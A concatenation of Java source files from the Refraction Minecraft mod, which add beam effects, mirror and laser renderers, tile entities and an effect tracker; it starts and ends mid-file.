PacketHandler.register(PacketWormholeParticles.class, Side.CLIENT); //PacketHandler.register(PacketBuilderGridSaver.class, Side.SERVER); // Unused if (Loader.isModLoaded("crafttweaker")) MTRefractionPlugin.init(); } public void init(FMLInitializationEvent event) { ModBlocks.initOreDict(); ModItems.initOreDict(); CraftingRecipes.init(); ModAssemblyRecipes.init(); } public void postInit(FMLPostInitializationEvent event) { BlockDispenser.DISPENSE_BEHAVIOR_REGISTRY.putObject(ModItems.SCREW_DRIVER, new DispenserScrewDriverBehavior()); SoundManager.INSTANCE.addSpeaker(ModBlocks.LASER, 40, ModSounds.electrical_hums, 0.015f, 1f, false); SoundManager.INSTANCE.addSpeaker(ModBlocks.LIGHT_BRIDGE, 67, ModSounds.light_bridges, 0.05f, 1f, false); } public void serverStarting(FMLServerStartingEvent event) { String clname = Utils.HANDLER.getClass().getName(); String expect = RefractionInternalHandler.class.getName(); if (!clname.equals(expect)) { new IllegalAccessError("The Refraction API internal method handler has been overriden. " + "This will cause the intended behavior of Refraction to be different than expected. " + "It's marked \"Do not Override\", anyway. Whoever the hell overrode it needs to go " + " back to primary school and learn to read. (Expected classname: " + expect + ", Actual classname: " + clname + ")").printStackTrace(); FMLCommonHandler.instance().exitJava(1, true); } } public void runIfClient(ClientRunnable runnable) { // NO-OP } public World getWorld() { return FMLCommonHandler.instance().getMinecraftServerInstance().getEntityWorld(); } } <file_sep>package com.teamwizardry.refraction.api.soundmanager; import net.minecraft.nbt.NBTTagCompound; import net.minecraft.util.math.BlockPos; import net.minecraft.world.World; import net.minecraftforge.common.util.INBTSerializable; import net.minecraftforge.fml.common.FMLCommonHandler; /** * Created by Demoniaque. */ public class SpeakerNode implements INBTSerializable<NBTTagCompound> { public Speaker speaker; public BlockPos pos; public World world; public int queue = 0; public int tick = 0; public boolean active = false; public SpeakerNode(Speaker speaker, BlockPos pos, World world) { this.speaker = speaker; this.pos = pos; this.world = world; } SpeakerNode() { } @Override public NBTTagCompound serializeNBT() { NBTTagCompound nbt = new NBTTagCompound(); nbt.setTag("speaker", speaker.serializeNBT()); nbt.setLong("pos", pos.toLong()); nbt.setLong("dim", world.provider.getDimension()); nbt.setInteger("queue", queue); nbt.setInteger("tick", tick); nbt.setBoolean("active", active); return nbt; } @Override public void deserializeNBT(NBTTagCompound nbt) { speaker = new Speaker(); speaker.deserializeNBT(nbt.getCompoundTag("speaker")); pos = BlockPos.fromLong(nbt.getLong("pos")); world = FMLCommonHandler.instance().getMinecraftServerInstance().getWorld(nbt.getInteger("dim")); queue = nbt.getInteger("queue"); tick = nbt.getInteger("tick"); active = nbt.getBoolean("active"); } } <file_sep>package com.teamwizardry.refraction.api.recipe; import com.google.common.collect.HashBiMap; import net.minecraft.item.ItemStack; import java.awt.*; import static com.teamwizardry.librarianlib.features.helpers.CommonUtilMethods.getCurrentModId; /** * @author WireSegal * Created at 12:46 PM on 12/23/16. */ public final class AssemblyBehaviors { private static final HashBiMap<String, IAssemblyBehavior> behaviors = HashBiMap.create(); public static HashBiMap<String, IAssemblyBehavior> getBehaviors() { return behaviors; } public static IAssemblyBehavior register(String key, IAssemblyBehavior recipe) { key = getCurrentModId() + ":" + key; if (behaviors.containsKey(key)) throw new IllegalArgumentException("Key " + key + " already used for an assembly recipe"); behaviors.put(key, recipe); return recipe; } public static IAssemblyBehavior register(String key, ItemStack output, Color one, Color two, Object... inputs) { return register(key, new AssemblyRecipe(output, one, two, inputs)); } } <file_sep>package com.teamwizardry.refraction.api.beam; import net.minecraft.block.state.IBlockState; import net.minecraft.util.math.BlockPos; import net.minecraft.world.World; import net.minecraftforge.common.MinecraftForge; import net.minecraftforge.fml.common.eventhandler.Cancelable; import net.minecraftforge.fml.common.eventhandler.Event; import javax.annotation.Nonnull; /** * BeamHitEvent is fired whenever a beam hits a block. * This is fired from {@link Beam#spawn()}. * <br> * This event is not {@link Cancelable}.<br> * This event has a result. {@link HasResult} * The result determines whether the block shouldn't be allowed to handleBeam its beam ({@link Result#DENY}), * the normal handling occurs ({@link Result#DEFAULT}), * or if the beam should go straight through the block ({@link Result#ALLOW}). * <br> * This event is fired on the {@link MinecraftForge#EVENT_BUS}. */ @Event.HasResult public class BeamHitEvent extends Event { @Nonnull private final World world; @Nonnull private final Beam beam; @Nonnull private final BlockPos pos; @Nonnull private final IBlockState state; public BeamHitEvent(@Nonnull World world, @Nonnull Beam beam, @Nonnull BlockPos pos, @Nonnull IBlockState state) { this.world = world; this.beam = beam; this.pos = pos; this.state = state; } @Nonnull public World getWorld() { return world; } @Nonnull public Beam getBeam() { return beam; } @Nonnull public BlockPos getPos() { return pos; } @Nonnull public IBlockState getState() { return state; } } <file_sep>package com.teamwizardry.refraction.client.render; import com.teamwizardry.refraction.api.Constants; import com.teamwizardry.refraction.client.proxy.ClientProxy; import com.teamwizardry.refraction.common.tile.TileMirror; import net.minecraft.client.Minecraft; import net.minecraft.client.renderer.GlStateManager; import net.minecraft.client.renderer.block.model.IBakedModel; import net.minecraft.client.renderer.texture.TextureMap; import net.minecraft.client.renderer.tileentity.TileEntitySpecialRenderer; import net.minecraft.client.renderer.vertex.DefaultVertexFormats; import net.minecraft.util.ResourceLocation; import net.minecraft.util.math.MathHelper; import net.minecraftforge.client.model.IModel; import net.minecraftforge.client.model.ModelLoaderRegistry; import net.minecraftforge.common.MinecraftForge; import net.minecraftforge.fml.common.eventhandler.SubscribeEvent; import org.lwjgl.opengl.GL11; /** * Created by Demoniaque */ public class RenderMirror extends TileEntitySpecialRenderer<TileMirror> { private IBakedModel modelArms, modelMirror; public RenderMirror() { MinecraftForge.EVENT_BUS.register(this); } @SubscribeEvent public void reload(ClientProxy.ResourceReloadEvent event) { modelArms = null; } private void getBakedModels() { IModel model = null; if (modelArms == null) { try { model = ModelLoaderRegistry.getModel(new ResourceLocation(Constants.MOD_ID, "block/mirror_arms")); } catch (Exception e) { e.printStackTrace(); } modelArms = model.bake(model.getDefaultState(), DefaultVertexFormats.ITEM, location -> Minecraft.getMinecraft().getTextureMapBlocks().getAtlasSprite(location.toString())); } if (modelMirror == null) { try { model = ModelLoaderRegistry.getModel(new ResourceLocation(Constants.MOD_ID, "block/mirror_head")); } catch (Exception e) { e.printStackTrace(); } modelMirror = model.bake(model.getDefaultState(), DefaultVertexFormats.ITEM, location -> Minecraft.getMinecraft().getTextureMapBlocks().getAtlasSprite(location.toString())); } } @Override public void render(TileMirror te, double x, double y, double z, float partialTicks, int destroyStage, float alpha) { double subtractedMillis = (te.getWorld().getTotalWorldTime() - te.worldTime); double transitionTimeMaxX = Math.max(3, Math.min(Math.abs((te.rotPrevX - te.rotDestX) / 2.0), 10)), transitionTimeMaxY = Math.max(3, Math.min(Math.abs((te.rotPrevY - te.rotDestY) / 2.0), 10)); float rotX = te.getRotX(), rotY = te.getRotY(); GlStateManager.pushMatrix(); GlStateManager.enableBlend(); GlStateManager.blendFunc(GL11.GL_SRC_ALPHA, GL11.GL_ONE_MINUS_SRC_ALPHA); getBakedModels(); bindTexture(TextureMap.LOCATION_BLOCKS_TEXTURE); if (Minecraft.isAmbientOcclusionEnabled()) GlStateManager.shadeModel(GL11.GL_SMOOTH); else GlStateManager.shadeModel(GL11.GL_FLAT); GlStateManager.translate(x, y, z); // Translate pad to coords here GlStateManager.disableRescaleNormal(); GlStateManager.translate(0.5, 0, 0.5); if (te.transitionY) { if (subtractedMillis < transitionTimeMaxY) { if (Math.round(te.rotDestY) > Math.round(te.rotPrevY)) rotY = -((te.rotDestY - te.rotPrevY) / 2) * MathHelper.cos((float) (subtractedMillis * Math.PI / transitionTimeMaxY)) + (te.rotDestY + te.rotPrevY) / 2; else rotY = ((te.rotPrevY - te.rotDestY) / 2) * MathHelper.cos((float) (subtractedMillis * Math.PI / transitionTimeMaxY)) + (te.rotDestY + te.rotPrevY) / 2; } else rotY = te.rotDestY; } GlStateManager.rotate(rotY, 0, 1, 0); Minecraft.getMinecraft().getBlockRendererDispatcher().getBlockModelRenderer().renderModelBrightnessColor( modelArms, 1.0F, 1, 1, 1); GlStateManager.translate(0, 0.5, 0); if (te.transitionX) { if (subtractedMillis < transitionTimeMaxX) { if (Math.round(te.rotDestX) > Math.round(te.rotPrevX)) rotX = -((te.rotDestX - te.rotPrevX) / 2) * MathHelper.cos((float) (subtractedMillis * Math.PI / transitionTimeMaxX)) + (te.rotDestX + te.rotPrevX) / 2; else rotX = ((te.rotPrevX - te.rotDestX) / 2) * MathHelper.cos((float) (subtractedMillis * Math.PI / transitionTimeMaxX)) + (te.rotDestX + te.rotPrevX) / 2; } else rotX = te.rotDestX; } GlStateManager.rotate(rotX, 1, 0, 0); Minecraft.getMinecraft().getBlockRendererDispatcher().getBlockModelRenderer().renderModelBrightnessColor( modelMirror, 1.0F, 1, 1, 1); GlStateManager.disableBlend(); GlStateManager.popMatrix(); } } <file_sep>package com.teamwizardry.refraction.api.soundmanager; import net.minecraft.util.math.BlockPos; import net.minecraft.world.World; import javax.annotation.Nonnull; /** * Created by Demoniaque. */ public interface ISoundEmitter { boolean shouldEmit(@Nonnull World world, @Nonnull BlockPos pos); } <file_sep>package com.teamwizardry.refraction.common.effect; import com.teamwizardry.refraction.api.CapsUtils; import com.teamwizardry.refraction.api.Utils; import com.teamwizardry.refraction.api.beam.Effect; import net.minecraft.entity.Entity; import net.minecraft.entity.EntityLivingBase; import net.minecraft.entity.item.EntityItem; import net.minecraft.entity.player.EntityPlayer; import net.minecraft.inventory.IInventory; import net.minecraft.item.ItemStack; import net.minecraft.tileentity.TileEntity; import net.minecraft.util.math.BlockPos; import net.minecraft.util.math.RayTraceResult; import net.minecraft.util.math.Vec3d; import net.minecraft.world.World; import net.minecraftforge.items.CapabilityItemHandler; import net.minecraftforge.items.IItemHandler; import javax.annotation.Nonnull; import java.awt.*; import java.util.concurrent.ThreadLocalRandom; import static com.teamwizardry.refraction.api.beam.EffectTracker.gravityReset; /** * Created by Demoniaque * Will attract any entities that intersect with the beam. < 128 only attracts item entities. */ public class EffectAttract extends Effect { @Nonnull protected Color getEffectColor() { return Color.CYAN; } @Override public EffectType getType() { return EffectType.BEAM; } private void setEntityMotion(Entity entity, double potency) { Vec3d pullDir; if (beam.finalLoc != null) { pullDir = beam.initLoc.subtract(beam.finalLoc).normalize(); entity.setNoGravity(true); entity.motionY = pullDir.y * potency / 255.0; entity.motionZ = pullDir.z * potency / 255.0; entity.motionX = pullDir.x * potency / 255.0; entity.fallDistance = 0; } } @Override public void runEntity(World world, Entity entity, int potency) { if(entity instanceof EntityLivingBase && Utils.entityWearsFullReflective((EntityLivingBase)entity)) return; if(entity instanceof EntityPlayer && ((EntityPlayer)entity).isCreative()) return; setEntityMotion(entity, potency); gravityReset.put(entity, 10); if (entity instanceof EntityPlayer) ((EntityPlayer) entity).velocityChanged = true; } @Override public void runBlock(World world, BlockPos pos, int potency) { if (beam.trace == null || beam.trace.getBlockPos() == null) return; TileEntity tile = world.getTileEntity(beam.trace.getBlockPos()); if (tile == null) return; if (!EffectBurn.burnedTileTracker.contains(beam.trace.getBlockPos())) return; EffectBurn.burnedTileTracker.remove(beam.trace.getBlockPos()); if (ThreadLocalRandom.current().nextInt(potency > 0 ? 10 * potency : 1) == 0) return; if (tile instanceof IInventory) { IInventory inv = (IInventory) tile; int lastSlot = 0; for (int i = inv.getSizeInventory() - 1; i > 0; i--) { if (!inv.getStackInSlot(i).isEmpty()) { lastSlot = i; break; } } ItemStack slotStack = inv.getStackInSlot(lastSlot); if (slotStack.isEmpty()) return; ItemStack stack = inv.decrStackSize(lastSlot, slotStack.getCount() < potency / 50 ? slotStack.getCount() : potency / 50); if (!stack.isEmpty()) extractItem(world, beam.trace, stack); } else if (tile.hasCapability(CapabilityItemHandler.ITEM_HANDLER_CAPABILITY, beam.trace.sideHit)) { IItemHandler cap = tile.getCapability(CapabilityItemHandler.ITEM_HANDLER_CAPABILITY, beam.trace.sideHit); int lastSlot = CapsUtils.getLastOccupiedSlot(cap); if (CapsUtils.getOccupiedSlotCount(cap) > 0) { ItemStack stack = cap.extractItem(lastSlot, cap.getStackInSlot(lastSlot).getCount() < potency / 50 ? cap.getStackInSlot(lastSlot).getCount() : potency / 50, false); if (!stack.isEmpty()) extractItem(world, beam.trace, stack); } } } private static void extractItem(World world, RayTraceResult trace, ItemStack stack) { Vec3d posVec = new Vec3d(trace.getBlockPos().getX() + 0.5, trace.getBlockPos().getY() + 0.5, trace.getBlockPos().getZ() + 0.5); Vec3d popVec = posVec.add(trace.hitVec.subtract(posVec).scale(1.5)); EntityItem item = new EntityItem(world, popVec.x, popVec.y, popVec.z, stack); item.motionX = 0; item.motionY = 0; item.motionZ = 0; world.spawnEntity(item); } } <file_sep>package com.teamwizardry.refraction.api; import com.teamwizardry.librarianlib.features.base.block.tile.TileMod; import com.teamwizardry.librarianlib.features.utilities.NBTTypes; import com.teamwizardry.refraction.api.beam.Beam; import com.teamwizardry.refraction.api.beam.EffectTracker; import net.minecraft.nbt.NBTTagCompound; import net.minecraft.nbt.NBTTagList; import net.minecraft.util.ITickable; import net.minecraft.util.math.Vec3d; import javax.annotation.Nonnull; import javax.annotation.Nullable; import java.awt.*; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.stream.Collectors; /** * Created by Demoniaque. * <p> * Extend this class in for a tile entity to have it handle multiple inputBeams properly. * You can access the list of merged inputBeams via the beamOutputs hashmap. * DO NOT FORGET TO IMPLEMENT THE SUPER METHODS WHEN OVERRIDING THE METHODS BELOW. */ public class MultipleBeamTile extends TileMod implements ITickable { @Nonnull public HashMap<Beam, Integer> inputBeams = new HashMap<>(); @Nullable public Beam outputBeam; @Override public void writeCustomNBT(@Nonnull NBTTagCompound cmp, boolean sync) { if (outputBeam != null) cmp.setTag("output", outputBeam.serializeNBT()); if (inputBeams.isEmpty()) { cmp.removeTag("inputs"); } else { cmp.removeTag("inputs"); NBTTagList list = new NBTTagList(); for (Beam beam : inputBeams.keySet()) list.appendTag(beam.serializeNBT()); cmp.setTag("inputs", list); } } @Override public void readCustomNBT(@Nonnull NBTTagCompound cmp) { if (cmp.hasKey("output")) outputBeam = new Beam(cmp.getCompoundTag("output")); if (cmp.hasKey("inputs")) { NBTTagList list = cmp.getTagList("inputs", NBTTypes.COMPOUND); for (int i = 0; i < list.tagCount(); i++) { inputBeams.put(new Beam(list.getCompoundTagAt(i)), 5); } } } public void handleBeam(Beam beam) { boolean flag = false; HashMap<Beam, Integer> temp = new HashMap<>(); temp.putAll(inputBeams); for (Beam check : temp.keySet()) if (check.doBeamsMatch(beam)) { flag = true; inputBeams.put(check, 5); markDirty(); } if (!flag) { inputBeams.put(beam, 5); markDirty(); } } @Override public void update() { if (inputBeams.isEmpty()) { if (outputBeam != null) { outputBeam = null; markDirty(); } return; } else { HashMap<Beam, Integer> temp = new HashMap<>(); temp.putAll(inputBeams); boolean update = false; for (Beam check : temp.keySet()) { int count = temp.get(check); if (count > 0) inputBeams.put(check, count - 1); else inputBeams.remove(check); update = true; } if (update) markDirty(); } List<Vec3d> angles = new ArrayList<>(); angles.addAll(inputBeams.keySet().stream().map(beam -> beam.slope).collect(Collectors.toList())); Vec3d outputDir = RotationHelper.averageDirection(angles); int red = 0, green = 0, blue = 0, alpha = 0; for (Beam beam : inputBeams.keySet()) { Color color = beam.getColor(); double colorCount = 0; if (color.getRed() > 0) colorCount++; if (color.getGreen() > 0) colorCount++; if (color.getBlue() > 0) colorCount++; if (colorCount <= 0) continue; red += color.getRed() * color.getAlpha() / 255F / colorCount; green += color.getGreen() * color.getAlpha() / 255F / colorCount; blue += color.getBlue() * color.getAlpha() / 255F / colorCount; alpha += color.getAlpha(); } if (!inputBeams.isEmpty()) { red = Math.min(red / inputBeams.size(), 255); green = Math.min(green / inputBeams.size(), 255); blue = Math.min(blue / inputBeams.size(), 255); } float[] hsbvals = Color.RGBtoHSB(red, green, blue, null); Color color = new Color(Color.HSBtoRGB(hsbvals[0], hsbvals[1], 1)); color = new Color(color.getRed(), color.getGreen(), color.getBlue(), Math.min(alpha, 255)); Beam beam = new Beam(world, new Vec3d(pos.getX() + 0.5, pos.getY() + 0.5, pos.getZ() + 0.5), outputDir, EffectTracker.getEffect(color)); if (outputBeam == null || !beam.doBeamsMatch(outputBeam)) { outputBeam = beam; markDirty(); } } } <file_sep>package com.teamwizardry.refraction; import com.teamwizardry.refraction.api.Constants; import com.teamwizardry.refraction.common.proxy.CommonProxy; import net.minecraftforge.fml.common.Mod; import net.minecraftforge.fml.common.SidedProxy; import net.minecraftforge.fml.common.event.FMLInitializationEvent; import net.minecraftforge.fml.common.event.FMLPostInitializationEvent; import net.minecraftforge.fml.common.event.FMLPreInitializationEvent; import net.minecraftforge.fml.common.event.FMLServerStartingEvent; @Mod( modid = Constants.MOD_ID, name = Constants.MOD_NAME, version = Constants.VERSION, dependencies = Constants.DEPENDENCIES ) public class Refraction { @SidedProxy(clientSide = Constants.CLIENT, serverSide = Constants.SERVER) public static CommonProxy proxy; @Mod.Instance public static Refraction instance; @Mod.EventHandler public void preInit(FMLPreInitializationEvent event) { proxy.preInit(event); } @Mod.EventHandler public void init(FMLInitializationEvent event) { proxy.init(event); } @Mod.EventHandler public void postInit(FMLPostInitializationEvent event) { proxy.postInit(event); } @Mod.EventHandler public void serverStarting(FMLServerStartingEvent event) { proxy.serverStarting(event); } } <file_sep>package com.teamwizardry.refraction.common.effect; import com.teamwizardry.refraction.api.ConfigValues; import com.teamwizardry.refraction.api.Utils; import com.teamwizardry.refraction.api.beam.Effect; import net.minecraft.entity.Entity; import net.minecraft.entity.EntityLivingBase; import net.minecraft.entity.item.EntityItem; import net.minecraft.entity.player.EntityPlayer; import net.minecraft.world.World; import javax.annotation.Nonnull; import java.awt.*; import java.util.concurrent.ThreadLocalRandom; public class EffectVoid extends Effect { @Nonnull protected Color getEffectColor() { return new Color(128, 0, 255, 255); //Purple } @Override public boolean stillFail() { return ConfigValues.EXTRA_FAIL_CHANCE_PURPLE > 1 && ThreadLocalRandom.current().nextInt(ConfigValues.EXTRA_FAIL_CHANCE_PURPLE) == 0; } @Override public void runEntity(World world, Entity entity, int potency) { if (entity instanceof EntityPlayer && Utils.entityWearsFullReflective((EntityLivingBase) entity)) return; if (entity instanceof EntityItem) { entity.setDead(); } else if (entity instanceof EntityLivingBase) { if (potency >= 200) { EntityLivingBase living = ((EntityLivingBase) entity); living.setHealth(living.getHealth() - 1); } } } } <file_sep>package com.teamwizardry.refraction.common.tile; import com.teamwizardry.librarianlib.features.autoregister.TileRegister; import com.teamwizardry.librarianlib.features.base.block.tile.TileModTickable; import com.teamwizardry.librarianlib.features.base.block.tile.module.ModuleInventory; import com.teamwizardry.librarianlib.features.math.interpolate.StaticInterp; import com.teamwizardry.librarianlib.features.math.interpolate.numeric.InterpFloatInOut; import com.teamwizardry.librarianlib.features.particle.ParticleBuilder; import com.teamwizardry.librarianlib.features.particle.ParticleSpawner; import com.teamwizardry.librarianlib.features.saving.Module; import com.teamwizardry.librarianlib.features.utilities.client.ClientRunnable; import com.teamwizardry.refraction.api.ConfigValues; import com.teamwizardry.refraction.api.Constants; import com.teamwizardry.refraction.api.PosUtils; import com.teamwizardry.refraction.api.beam.Beam; import com.teamwizardry.refraction.api.beam.EffectTracker; import net.minecraft.block.BlockDirectional; import net.minecraft.init.Items; import net.minecraft.item.ItemStack; import net.minecraft.util.EnumFacing; import net.minecraft.util.ResourceLocation; import net.minecraft.util.math.Vec3d; import net.minecraftforge.fml.relauncher.Side; import net.minecraftforge.fml.relauncher.SideOnly; import net.minecraftforge.items.ItemStackHandler; import javax.annotation.Nonnull; import java.awt.*; import java.util.concurrent.ThreadLocalRandom; /** * Created by Demoniaque */ @TileRegister("laser") public class TileLaser extends TileModTickable { @Module public ModuleInventory inventory = new ModuleInventory(new ItemStackHandler(1) { @Nonnull @Override public ItemStack insertItem(int slot, @Nonnull ItemStack stack, boolean simulate) { if (stack.getItem() == Items.GLOWSTONE_DUST) return super.insertItem(slot, stack, simulate); else return stack; } }); public int tick = 0; @Override public void tick() { if (world.getTileEntity(pos) != this || world.isBlockPowered(pos) || world.getRedstonePowerFromNeighbors(pos) > 0) return; new ClientRunnable() { @Override @SideOnly(Side.CLIENT) public void runIfClient() { if (!inventory.getHandler().getStackInSlot(0).isEmpty()) { Vec3d center = new Vec3d(pos.getX() + 0.5, pos.getY() + 0.5, pos.getZ() + 0.5); EnumFacing face = world.getBlockState(pos).getValue(BlockDirectional.FACING); Vec3d vec = PosUtils.getVecFromFacing(face); Vec3d facingVec = PosUtils.getVecFromFacing(face).scale(1.0 / 3.0); ParticleBuilder glitter = new ParticleBuilder(ThreadLocalRandom.current().nextInt(20, 30)); glitter.setScale((float) ThreadLocalRandom.current().nextDouble(0.5, 1)); glitter.setAlpha((float) ThreadLocalRandom.current().nextDouble(0.3, 0.7)); glitter.setRender(new ResourceLocation(Constants.MOD_ID, "particles/glow")); glitter.setAlphaFunction(new InterpFloatInOut(0.1f, 1.0f)); glitter.setMotion(facingVec.scale(1.0 / 50.0)); ParticleSpawner.spawn(glitter, world, new StaticInterp<>(center), 2); Color color = new Color(255, 255, 255, ConfigValues.GLOWSTONE_ALPHA); new Beam(world, center, vec, EffectTracker.getEffect(color)).spawn(); if (tick < ConfigValues.GLOWSTONE_FUEL_EXPIRE_DELAY) tick++; else { tick = 0; inventory.getHandler().extractItem(0, 1, false); markDirty(); } } } }.runIfClient(); } } <file_sep>package com.teamwizardry.refraction.api.beam; import com.google.common.collect.HashMultimap; import com.teamwizardry.refraction.api.Utils; import com.teamwizardry.refraction.common.effect.EffectMundane; import net.minecraft.entity.Entity; import net.minecraft.entity.EntityLivingBase; import net.minecraft.util.math.AxisAlignedBB; import net.minecraft.util.math.BlockPos; import net.minecraft.util.math.RayTraceResult; import net.minecraft.util.math.Vec3d; import net.minecraft.world.World; import net.minecraftforge.common.MinecraftForge; import net.minecraftforge.fml.common.eventhandler.SubscribeEvent; import net.minecraftforge.fml.common.gameevent.TickEvent; import net.minecraftforge.fml.relauncher.Side; import javax.annotation.Nonnull; import java.awt.*; import java.lang.ref.WeakReference; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.WeakHashMap; /** * Created by Demoniaque */ public class EffectTracker { public static ArrayList<Effect> effectRegistry = new ArrayList<>(); public static HashMap<BlockPos, Integer> gravityProtection = new HashMap<>(); public static HashMap<Entity, Integer> gravityReset = new HashMap<>(); private static WeakHashMap<World, EffectTracker> effectInstances = new WeakHashMap<>(); private HashMultimap<Effect, BlockPos> effects = HashMultimap.create(); private BlockTracker blockTracker; private WeakReference<World> world; public EffectTracker(World world) { this.world = new WeakReference<>(world); this.blockTracker = new BlockTracker(world); MinecraftForge.EVENT_BUS.register(this); } public static void addEffect(World world, Vec3d pos, Effect effect) { if (!effectInstances.containsKey(world)) addInstance(world); effectInstances.get(world).effects.put(effect, new BlockPos(pos)); } public static void addEffect(World world, Beam beam) { if (!effectInstances.containsKey(world)) addInstance(world); effectInstances.get(world).blockTracker.addBeam(beam); } public static boolean addInstance(World world) { return effectInstances.putIfAbsent(world, new EffectTracker(world)) == null; } public static @Nonnull Effect getEffect(Color color) { double closestDist = Utils.getColorDistance(color, Color.WHITE); Effect closestColor = new EffectMundane(); for (Effect effect : effectRegistry) { double dist = Utils.getColorDistance(color, effect.color); if (dist <= closestDist) { closestDist = dist; closestColor = effect; } } return closestColor.copy().setColor(color); } public static void registerEffect(Effect effect) { effectRegistry.add(effect); } @SubscribeEvent public void tick(TickEvent.WorldTickEvent event) { if (event.phase == TickEvent.Phase.START && event.side == Side.SERVER) { blockTracker.generateEffects(); World w = world.get(); effects.keySet().removeIf(effect -> { if (effect != null && w != null && w.isBlockLoaded(new BlockPos(effect.beam.initLoc)) && effects.get(effect) != null && effect.beam.trace != null) { // RUN EFFECT METHODS // effect.run(w); if (effect.beam.caster != null) { if (effect.beam.trace.typeOfHit == RayTraceResult.Type.BLOCK) { effect.specialAddFinalBlock(w, effect.beam.trace.getBlockPos(), (EntityLivingBase) effect.beam.caster); } else if (effect.beam.trace.typeOfHit == RayTraceResult.Type.ENTITY) { if (effect.beam.trace.entityHit != null) effect.specialAddEntity(w, effect.beam.trace.entityHit, (EntityLivingBase) effect.beam.caster); } effects.get(effect).forEach(blockPos -> { effect.specialAddBlock(w, blockPos, (EntityLivingBase) effect.beam.caster); if (effect.getType() == Effect.EffectType.BEAM) { AxisAlignedBB axis = new AxisAlignedBB(blockPos); List<Entity> entities = effect.filterEntities(w.getEntitiesWithinAABB(Entity.class, axis)); entities.forEach(entity -> { if (entity != null) effect.specialAddEntity(w, entity, (EntityLivingBase) effect.beam.caster); }); } }); } else { if (effect.beam.trace.typeOfHit == RayTraceResult.Type.BLOCK) { effect.addFinalBlock(w, effect.beam.trace.getBlockPos()); } else if (effect.beam.trace.typeOfHit == RayTraceResult.Type.ENTITY) { if (effect.beam.trace.entityHit != null) effect.addEntity(w, effect.beam.trace.entityHit); } effects.get(effect).forEach(blockPos -> { effect.addBlock(w, blockPos); if (effect.getType() == Effect.EffectType.BEAM) { AxisAlignedBB axis = new AxisAlignedBB(blockPos); List<Entity> entities = effect.filterEntities(w.getEntitiesWithinAABB(Entity.class, axis)); entities.forEach(entity -> { if (entity != null) effect.addEntity(w, entity); }); } }); } // RUN EFFECT METHODS // } return true; }); gravityProtection.keySet().removeIf(pos -> { if (gravityProtection.get(pos) > 0) { gravityProtection.put(pos, gravityProtection.get(pos) - 1); return false; } else return true; }); gravityReset.keySet().removeIf(entity -> { if (gravityReset.get(entity) > 0) { gravityReset.put(entity, gravityReset.get(entity) - 1); return false; } else { entity.setNoGravity(false); return true; } }); } } } <file_sep>package com.teamwizardry.refraction.client.render; import com.teamwizardry.refraction.api.Constants; import com.teamwizardry.refraction.common.entity.EntityLaserPointer; import net.minecraft.client.Minecraft; import net.minecraft.client.renderer.BufferBuilder; import net.minecraft.client.renderer.GlStateManager; import net.minecraft.client.renderer.Tessellator; import net.minecraft.client.renderer.vertex.VertexBuffer; import net.minecraft.client.renderer.entity.Render; import net.minecraft.client.renderer.entity.RenderManager; import net.minecraft.client.renderer.vertex.DefaultVertexFormats; import net.minecraft.util.ResourceLocation; import org.lwjgl.opengl.GL11; /** * Created by TheCodeWarrior */ public class RenderLaserPoint extends Render<EntityLaserPointer> { ResourceLocation loc = new ResourceLocation(Constants.MOD_ID, "textures/laser_dot.png"); public RenderLaserPoint(RenderManager renderManager) { super(renderManager); } @Override protected ResourceLocation getEntityTexture(EntityLaserPointer entity) { return loc; } @Override public void doRender(EntityLaserPointer entity, double x, double y, double z, float entityYaw, float partialTicks) { Minecraft.getMinecraft().entityRenderer.disableLightmap(); double margin = 0.01; boolean isX = false, isY = false, isZ = false; byte axis = entity.getDataManager().get(EntityLaserPointer.AXIS_HIT); if (axis < 3) { isX = axis == 0; isY = axis == 1; isZ = axis == 2; } boolean all = !(isX || isY || isZ); GlStateManager.pushMatrix(); GlStateManager.translate(x, y, z); GlStateManager.depthFunc(GL11.GL_GEQUAL); // GlStateManager.depthMask(true); GlStateManager.color(1, 0, 0, 1); Minecraft.getMinecraft().getTextureManager().bindTexture(loc); Tessellator t = Tessellator.getInstance(); BufferBuilder bb = t.getBuffer(); bb.begin(GL11.GL_QUADS, DefaultVertexFormats.POSITION_TEX); double M = 0.1; double m = -0.1; double o = -margin; if (isX || all) { bb.pos(-o, m, m).tex(0, 0).endVertex(); bb.pos(-o, m, M).tex(1, 0).endVertex(); bb.pos(-o, M, M).tex(1, 1).endVertex(); bb.pos(-o, M, m).tex(0, 1).endVertex(); bb.pos(o, M, m).tex(0, 1).endVertex(); bb.pos(o, M, M).tex(1, 1).endVertex(); bb.pos(o, m, M).tex(1, 0).endVertex(); bb.pos(o, m, m).tex(0, 0).endVertex(); } if (isY || all) { bb.pos(m, -o, m).tex(0, 0).endVertex(); bb.pos(M, -o, m).tex(1, 0).endVertex(); bb.pos(M, -o, M).tex(1, 1).endVertex(); bb.pos(m, -o, M).tex(0, 1).endVertex(); bb.pos(m, o, M).tex(0, 1).endVertex(); bb.pos(M, o, M).tex(1, 1).endVertex(); bb.pos(M, o, m).tex(1, 0).endVertex(); bb.pos(m, o, m).tex(0, 0).endVertex(); } if (isZ || all) { bb.pos(m, m, o).tex(0, 0).endVertex(); bb.pos(M, m, o).tex(1, 0).endVertex(); bb.pos(M, M, o).tex(1, 1).endVertex(); bb.pos(m, M, o).tex(0, 1).endVertex(); bb.pos(m, M, -o).tex(0, 1).endVertex(); bb.pos(M, M, -o).tex(1, 1).endVertex(); bb.pos(M, m, -o).tex(1, 0).endVertex(); bb.pos(m, m, -o).tex(0, 0).endVertex(); } t.draw(); GlStateManager.depthFunc(GL11.GL_LEQUAL); // GlStateManager.depthMask(false); GlStateManager.popMatrix(); Minecraft.getMinecraft().entityRenderer.enableLightmap(); } /* Vec3d playerEyes = Minecraft.getMinecraft().player.getPositionEyes(partialTicks); Vec3d pos = entity.getPositionVector(); Vec3d v = playerEyes.subtract(pos).normalize(); Vec3d ref = new Vec3d(0, 1, 0); Vec3d rotDir = Geometry.getNormal(Vec3d.ZERO, v, ref).scale(-1); double angle = Math.toDegrees( Math.acos(v.dotProduct(ref)) ); GlStateManager.rotate((float)angle, (float)rotDir.xCoord, (float)rotDir.yCoord, (float)rotDir.zCoord); */ } <file_sep>package com.teamwizardry.refraction.client.render; import com.teamwizardry.librarianlib.features.math.interpolate.StaticInterp; import com.teamwizardry.librarianlib.features.math.interpolate.numeric.InterpFloatInOut; import com.teamwizardry.librarianlib.features.math.interpolate.position.InterpCircle; import com.teamwizardry.librarianlib.features.math.interpolate.position.InterpLine; import com.teamwizardry.librarianlib.features.particle.ParticleBuilder; import 